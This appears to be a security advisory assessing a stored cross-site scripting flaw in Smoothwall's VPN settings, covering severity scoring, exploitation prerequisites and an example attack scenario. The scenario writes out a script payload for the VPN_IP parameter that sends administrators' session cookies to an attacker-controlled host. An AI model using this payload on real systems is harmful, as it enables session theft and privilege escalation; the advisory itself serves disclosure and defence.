Smoothwall EUVD-2026-17126

The CVSS v4.0 base score of 5.1 reflects a medium-severity vulnerability with network attack vector, low complexity, and low-privilege attacker requirements, but mitigated by the requirement for user interaction and limited scope (scope change is not indicated). The EPSS exploitation probability is not provided in the input data. Critically, this is a stored XSS requiring both authentication and user interaction-two significant friction points that reduce real-world opportunistic exploitation. However, in a targeted attack against administrative users managing VPN settings, the persistence of the payload and the likelihood of regular page visits by privileged users elevate practical risk. The vulnerability is not listed as actively exploited (no CISA KEV status), and no public proof-of-concept is referenced, meaning the threat landscape is primarily dependent on internal discovery or coordinated disclosure. CVSS vector signals PR:L (low privilege required) and UI:P (user interaction required), confirming authentication and interaction prerequisites. From an SSVC perspective, exploitation is unconfirmed but plausible; impact is limited to session manipulation rather than system compromise; and automatable exploitation would require user cooperation.

An authenticated attacker with low-privilege account access modifies VPN settings, injecting a malicious JavaScript payload such as '<script>fetch("https://attacker.com/steal?cookie=" + document.cookie)</script>' into the VPN_IP parameter. When a higher-privileged administrator or other user accesses the VPN configuration page to review or edit settings, the injected script executes in their browser, silently exfiltrating their session cookies to an attacker-controlled server. The attacker can then use the stolen session to escalate privileges or modify firewall rules. No public exploit code has been identified, but the attack requires only knowledge of the vulnerable parameter and access to a low-privilege account, making it practical in insider or credential-compromise scenarios.